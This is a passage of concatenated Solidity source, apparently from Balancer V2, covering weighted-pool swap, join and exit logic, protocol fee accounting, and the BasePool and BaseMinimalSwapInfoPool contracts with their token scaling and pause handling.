return normalizedWeights; } if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; } if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; } if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; } if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; } if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; } } return normalizedWeights; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } // Base Pool handlers // Swap function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } // Initialize function _onInitializePool( bytes32, address, address, bytes memory userData ) internal virtual override whenNotPaused returns (uint256, uint256[] memory) { // It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent // initialization in this case. WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens()); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } // Join function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override whenNotPaused returns ( uint256, uint256[] memory, uint256[] memory ) { // All joins are disabled while the contract is paused. uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { JoinKind kind = userData.joinKind(); if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), _swapFeePercentage ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](_getTotalTokens()); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), _swapFeePercentage ); return (bptAmountOut, amountsIn); } // Exit function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and // reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { ExitKind kind = userData.exitKind(); if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](_getTotalTokens()); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), _swapFeePercentage ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens()); _upscaleArray(amountsOut, _scalingFactors()); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), _swapFeePercentage ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All * amounts are expected to be upscaled. */ function _invariantAfterJoin( uint256[] memory balances, uint256[] memory amountsIn, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsIn, FixedPoint.add); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function _invariantAfterExit( uint256[] memory balances, uint256[] memory amountsOut, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsOut, FixedPoint.sub); return WeightedMath._calculateInvariant(normalizedWeights, balances); } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { toMutate[i] = mutation(toMutate[i], arguments[i]); } } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply()); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BasePool.sol"; import "../vault/interfaces/IMinimalSwapInfoPool.sol"; /** * @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`. * * Derived contracts must implement `_onSwapGivenIn` and `_onSwapGivenOut` along with `BasePool`'s virtual functions. */ abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool { constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BasePool( vault, tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // solhint-disable-previous-line no-empty-blocks } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external view virtual override returns (uint256) { uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn); uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. request.amount = _subtractSwapFeeAmount(request.amount); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. return _addSwapFeeAmount(amountIn); } } /* * @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known. * * Returns the amount of tokens that will be taken from the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already * been deducted from `swapRequest.amount`. * * The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the * Vault. */ function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); /* * @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known. * * Returns the amount of tokens that will be granted to the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. * * The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee * and returning it to the Vault. */ function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/math/FixedPoint.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/TemporarilyPausable.sol"; import "../lib/openzeppelin/ERC20.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; import "../vault/interfaces/IVault.sol"; import "../vault/interfaces/IBasePool.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total // count, resulting in a large number of state variables. // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set * of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _MAX_TOKENS = 8; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% uint256 private constant _MINIMUM_BPT = 1e6; uint256 internal _swapFeePercentage; IVault private immutable _vault; bytes32 private immutable _poolId; uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; IERC20 internal immutable _token4; IERC20 internal immutable _token5; IERC20 internal immutable _token6; IERC20 internal immutable _token7; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; uint256 internal immutable _scalingFactor4; uint256 internal immutable _scalingFactor5; uint256 internal immutable _scalingFactor6; uint256 internal immutable _scalingFactor7; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); // Pass in zero addresses for Asset Managers vault.registerTokens(poolId, tokens, new address[](tokens.length)); // Set immutable state variables - these cannot be read from during construction _vault = vault; _poolId = poolId; _totalTokens = tokens.length; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens.length > 0 ? tokens[0] : IERC20(0); _token1 = tokens.length > 1 ? tokens[1] : IERC20(0); _token2 = tokens.length > 2 ? tokens[2] : IERC20(0); _token3 = tokens.length > 3 ? tokens[3] : IERC20(0); _token4 = tokens.length > 4 ? tokens[4] : IERC20(0); _token5 = tokens.length > 5 ? tokens[5] : IERC20(0); _token6 = tokens.length > 6 ? tokens[6] : IERC20(0); _token7 = tokens.length > 7 ? tokens[7] : IERC20(0); _scalingFactor0 = tokens.length > 0 ? _computeScalingFactor(tokens[0]) : 0; _scalingFactor1 = tokens.length > 1 ? _computeScalingFactor(tokens[1]) : 0; _scalingFactor2 = tokens.length > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = tokens.length > 3 ? _computeScalingFactor(tokens[3]) : 0; _scalingFactor4 = tokens.length > 4 ? _computeScalingFactor(tokens[4]) : 0; _scalingFactor5 = tokens.length > 5 ? _computeScalingFactor(tokens[5]) : 0; _scalingFactor6 = tokens.length > 6 ? _computeScalingFactor(tokens[6]) : 0; _scalingFactor7 = tokens.length > 7 ? _computeScalingFactor(tokens[7]) : 0; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function _getTotalTokens() internal view returns (uint256) { return _totalTokens; } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _swapFeePercentage = swapFeePercentage; emit SwapFeePercentageChanged(swapFeePercentage); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(_swapFeePercentage.complement()); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(_swapFeePercentage); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(IERC20 token) internal view returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else if (token == _token4) { return _scalingFactor4; } else if (token == _token5) { return _scalingFactor5; } else if (token == _token6) { return _scalingFactor6; } else if (token == _token7) { return _scalingFactor7; } else { _revert(Errors.INVALID_TOKEN); } } /** * @dev Returns all the scaling factors in the same order as the registered tokens. The Vault will always * pass balances in this order when calling any of the Pool hooks */ function _scalingFactors() internal view returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { 